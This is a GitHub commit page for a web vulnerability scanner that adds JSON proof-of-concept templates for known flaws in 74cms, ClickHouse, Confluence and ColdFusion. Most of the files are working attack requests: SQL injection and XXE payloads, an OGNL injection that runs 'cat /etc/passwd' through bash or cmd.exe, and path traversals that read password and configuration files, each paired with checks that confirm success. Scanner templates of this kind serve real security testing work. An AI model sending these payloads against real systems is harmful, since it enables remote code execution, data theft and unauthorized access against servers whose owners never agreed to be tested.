Skip to content

Commit 4fc3262

Browse files
hktalenthktalent
committed
集成 @xiaotu0821 chumeng 师傅的json版本POC for Web-Scan 2022-08-18
1 parent 5e9d93c commit 4fc3262

File tree

205 files changed

+8201
-3
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

205 files changed

+8201
-3
lines changed

‎config/config.json

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -102,5 +102,10 @@
102102
"Fuzzthreads": 32,
103103
"enableFingerTitleHeaderMd5Hex": false,
104104
"Cookie": "",
105-
"esUrl": "http://127.0.0.1:9200/%s_index/_doc/%s"
105+
"esUrl": "http://127.0.0.1:9200/%s_index/_doc/%s",
106+
"Exploit":{
107+
"Path": "./config/poc/",
108+
"Logs": "./logs/errror.log"
109+
},
110+
"enableWebScan": false
106111
}

‎config/config_me.json

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,5 +89,10 @@
8989
"Fuzzthreads": 32,
9090
"enableFingerTitleHeaderMd5Hex": false,
9191
"Cookie": "",
92-
"esUrl": "http://127.0.0.1:9200/%s_index/_doc/%s"
92+
"esUrl": "http://127.0.0.1:9200/%s_index/_doc/%s",
93+
"Exploit":{
94+
"Path": "./config/poc/",
95+
"Logs": "./logs/errror.log"
96+
},
97+
"enableWebScan": true
9398
}

‎config/poc/74cms/74cms-sqli-1.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"Name": "74cms-sqli-1",
3+
"Description": "74cms-sqli-1",
4+
"Product": "骑士cms",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "POST",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
10+
"Content-Type":"text/xml"},
11+
"Uri":"/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\\xc3\\x97tamp=&nonce=",
12+
"Port":"",
13+
"Data":"<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE copyright [<!ENTITY test SYSTEM \"file:///\">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5(123)#</Content></xml>",
14+
"follow_redirects":"false",
15+
"Upload":{"Name": "","fileName": "","filePath": "" },
16+
"Response":{
17+
"Check_Steps":"AND",
18+
"Checks": [
19+
{
20+
"Operation": "contains",
21+
"Key":"",
22+
"Value": "202cb962ac59075b964b07152d234b70"
23+
},
24+
{
25+
"Operation": "code",
26+
"Key":"",
27+
"Value": "200"
28+
}
29+
]
30+
},
31+
"Next_decide":""
32+
}
33+
]}

‎config/poc/74cms/74cms-sqli-2.json

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
{
2+
"Name": "74cms-sqli-2",
3+
"Description": "74cms-sqli-2",
4+
"Product": "骑士cms",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "GET",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"},
10+
"Uri":"/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23",
11+
"Port":"",
12+
"Data":"",
13+
"follow_redirects":"false",
14+
"Upload":{"Name": "","fileName": "","filePath": "" },
15+
"Response":{
16+
"Check_Steps":"AND",
17+
"Checks": [
18+
{
19+
"Operation": "contains",
20+
"Key":"",
21+
"Value": "202cb962ac59075b964b07152d234b70"
22+
},
23+
{
24+
"Operation": "code",
25+
"Key":"",
26+
"Value": "200"
27+
}
28+
]
29+
},
30+
"Next_decide":""
31+
}
32+
] }

‎config/poc/74cms/74cms-sqli-3.json

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
{
2+
"Name": "74cms-sqli-3",
3+
"Description": "74cms-sqli-3",
4+
"Product": "骑士cms",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "GET",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"},
10+
"Uri":"/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa\") and extractvalue(1,concat(0x7e,md5(99999999))) -- a",
11+
"Port":"",
12+
"Data":"",
13+
"follow_redirects":"false",
14+
"Upload":{"Name": "","fileName": "","filePath": "" },
15+
"Response":{
16+
"Check_Steps":"AND",
17+
"Checks": [
18+
{
19+
"Operation": "contains",
20+
"Key":"",
21+
"Value": "ef775988943825d2871e1cfa75473ec"
22+
},
23+
{
24+
"Operation": "code",
25+
"Key":"",
26+
"Value": "200"
27+
}
28+
]
29+
},
30+
"Next_decide":""
31+
}
32+
]}

‎config/poc/ClickHouse未授权访问.json

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
{
2+
"Name": "ClickHouse未授权访问",
3+
"Description": "ClickHouse数据库未授权访问查询",
4+
"Product": "ClickHouse",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "GET",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"},
10+
"Uri":"/?query=SHOW%20tables%20from%20system",
11+
"Port":"",
12+
"Data":"",
13+
"Follow_redirects":"false",
14+
"Upload":{"Name": "","fileName": "","filePath": "" },
15+
"Response":{
16+
"Check_Steps":"AND",
17+
"Checks": [
18+
{
19+
"Operation": "contains",
20+
"Key":"",
21+
"Value": "zeros_mt"
22+
},
23+
{
24+
"Operation": "contains",
25+
"Key":"",
26+
"Value": "aggregate_function_combinators"
27+
},
28+
{
29+
"Operation": "code",
30+
"Key":"",
31+
"Value": "200"
32+
}
33+
34+
35+
]
36+
},
37+
"Next_decide":""
38+
}
39+
]}

‎config/poc/Confluence/Confluence_OGNL表达式注入.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"Name": "Confluence OGNL表达式注入",
3+
"Description": "Atlassian Confluence是企业广泛使用的wiki系统,产品研发过程中的需求文档、产品设计文档、项目管理文档、技术文档、运维文档等等都统一发布在wiki中，并不断地迭代维护。所以想着自己的协同的办公也可使Confluence来实现，远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下，可构造OGNL表达式进行注入，实现在 Confluence Server或Data Center上执行任意代码.",
4+
"Product": "Atlassian Confluence",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "POST",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
10+
"Content-Type":"application/x-www-form-urlencoded"},
11+
"Uri":"/pages/createpage-entervariables.action?SpaceKey=x",
12+
"Port":"",
13+
"Data":"queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022cat+/etc/passwd%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027",
14+
"Follow_redirects":"false",
15+
"Upload":{"Name": "","fileName": "","filePath": "" },
16+
"Response":{
17+
"Check_Steps":"AND",
18+
"Checks": [
19+
{
20+
"Operation": "contains",
21+
"Key":"",
22+
"Value": "root:x:0:0:root"
23+
},
24+
{
25+
"Operation": "code",
26+
"Key":"",
27+
"Value": "200"
28+
}
29+
]
30+
},
31+
"Next_decide":""
32+
}
33+
]}

‎config/poc/Confluence/Confluence远程代码执行漏洞.json

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
{
2+
"Name": "CVE-2021-26084Confluence远程代码执行漏洞",
3+
"Description": "Confluence",
4+
"Product": "Confluence",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "POST",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"},
10+
"Uri":"/pages/doenterpagevariables.action",
11+
"Port":"",
12+
"Data":"queryString=aaaa\\u0027%2b#{3*333}%2b\\u0027bbb",
13+
"Follow_redirects":"false",
14+
"Upload":{"Name": "","fileName": "","filePath": "" },
15+
"Response":{
16+
"Check_Steps":"AND",
17+
"Checks": [
18+
{
19+
"Operation": "contains",
20+
"Key":"",
21+
"Value": "aaaa{999"
22+
},
23+
{
24+
"Operation": "code",
25+
"Key":"",
26+
"Value": "200"
27+
}
28+
]
29+
},
30+
"Next_decide":""
31+
}
32+
]}

‎config/poc/Confluence/coldfusion-cve-2010-2861-lfi.json

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
{
2+
"Name": "coldfusion-cve-2010-2861-lfi",
3+
"Description": "Atlassian Confluence是企业广泛使用的wiki系统,产品研发过程中的需求文档、产品设计文档、项目管理文档、技术文档、运维文档等等都统一发布在wiki中，并不断地迭代维护。所以想着自己的协同的办公也可使Confluence来实现，远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下，可构造OGNL表达式进行注入，实现在 Confluence Server或Data Center上执行任意代码.",
4+
"Product": "Atlassian Confluence",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "GET",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
10+
"Content-Type":"application/x-www-form-urlencoded"},
11+
"Uri":"/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en",
12+
"Port":"",
13+
"Data":"",
14+
"Follow_redirects":"false",
15+
"Upload":{"Name": "","fileName": "","filePath": "" },
16+
"Response":{
17+
"Check_Steps":"AND",
18+
"Checks": [
19+
{
20+
"Operation": "contains",
21+
"Key":"",
22+
"Value": "rdspassword"
23+
},
24+
{
25+
"Operation": "contains",
26+
"Key":"",
27+
"Value": "encrypted="
28+
},
29+
{
30+
"Operation": "code",
31+
"Key":"",
32+
"Value": "200"
33+
}
34+
]
35+
},
36+
"Next_decide":""
37+
}
38+
]}

‎config/poc/Confluence/confluence-cve-2015-8399.json

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
{
2+
"Name": "confluence-cve-2015-8399",
3+
"Description": "Atlassian Confluence是企业广泛使用的wiki系统,产品研发过程中的需求文档、产品设计文档、项目管理文档、技术文档、运维文档等等都统一发布在wiki中，并不断地迭代维护。所以想着自己的协同的办公也可使Confluence来实现，远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下，可构造OGNL表达式进行注入，实现在 Confluence Server或Data Center上执行任意代码.",
4+
"Product": "Atlassian Confluence",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "GET",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"},
10+
"Uri":"/spaces/viewdefaultdecorator.action?decoratorName",
11+
"Port":"",
12+
"Data":"",
13+
"Follow_redirects":"false",
14+
"Upload":{"Name": "","fileName": "","filePath": "" },
15+
"Response":{
16+
"Check_Steps":"AND",
17+
"Checks": [
18+
{
19+
"Operation": "contains",
20+
"Key":"",
21+
"Value": "confluence-init.properties"
22+
}, {
23+
"Operation": "contains",
24+
"Key":"",
25+
"Value": "View Default Decorator"
26+
},
27+
{
28+
"Operation": "code",
29+
"Key":"",
30+
"Value": "200"
31+
}
32+
]
33+
},
34+
"Next_decide":""
35+
}
36+
]}

‎config/poc/Confluence/confluence-cve-2019-3396-lfi.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"Name": "confluence-cve-2019-3396-lfi",
3+
"Description": "Atlassian Confluence是企业广泛使用的wiki系统,产品研发过程中的需求文档、产品设计文档、项目管理文档、技术文档、运维文档等等都统一发布在wiki中，并不断地迭代维护。所以想着自己的协同的办公也可使Confluence来实现，远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下，可构造OGNL表达式进行注入，实现在 Confluence Server或Data Center上执行任意代码.",
4+
"Product": "Atlassian Confluence",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "POST",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
10+
"Content-Type":"application/json","Host":"localhost","Referer":"http://localhost"},
11+
"Uri":"/rest/tinymce/1/macro/preview",
12+
"Port":"",
13+
"Data":"{\"contentId\":\"786458\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/test\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../web.xml\"}}}",
14+
"Follow_redirects":"false",
15+
"Upload":{"Name": "","fileName": "","filePath": "" },
16+
"Response":{
17+
"Check_Steps":"AND",
18+
"Checks": [
19+
{
20+
"Operation": "contains",
21+
"Key":"",
22+
"Value": "<param-name>contextConfigLocation</param-name>"
23+
},
24+
{
25+
"Operation": "code",
26+
"Key":"",
27+
"Value": "200"
28+
}
29+
]
30+
},
31+
"Next_decide":""
32+
}
33+
]}

‎config/poc/Confluence/confluence-cve-2021-26085-arbitrary-file-read.json

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
{
2+
"Name": "confluence-cve-2021-26085-arbitrary-file-read",
3+
"Description": "Atlassian Confluence是企业广泛使用的wiki系统,产品研发过程中的需求文档、产品设计文档、项目管理文档、技术文档、运维文档等等都统一发布在wiki中，并不断地迭代维护。所以想着自己的协同的办公也可使Confluence来实现，远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下，可构造OGNL表达式进行注入，实现在 Confluence Server或Data Center上执行任意代码.",
4+
"Product": "Atlassian Confluence",
5+
"author": "chumeng",
6+
"Request":[
7+
{
8+
"Method": "GET",
9+
"Header": {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
10+
"Content-Type":"application/x-www-form-urlencoded"},
11+
"Uri":"/s/avacea/_/;/WEB-INF/web.xml",
12+
"Port":"",
13+
"Data":"",
14+
"Follow_redirects":"false",
15+
"Upload":{"Name": "","fileName": "","filePath": "" },
16+
"Response":{
17+
"Check_Steps":"AND",
18+
"Checks": [
19+
{
20+
"Operation": "contains",
21+
"Key":"",
22+
"Value": "<display-name>Confluence</display-name>"
23+
}, {
24+
"Operation": "contains",
25+
"Key":"",
26+
"Value": "com.atlassian.confluence.setup.ConfluenceAppConfig"
27+
},
28+
{
29+
"Operation": "code",
30+
"Key":"",
31+
"Value": "200"
32+
}
33+
]
34+
},
35+
"Next_decide":""
36+
}
37+
]}

0 commit comments

Comments
 (0)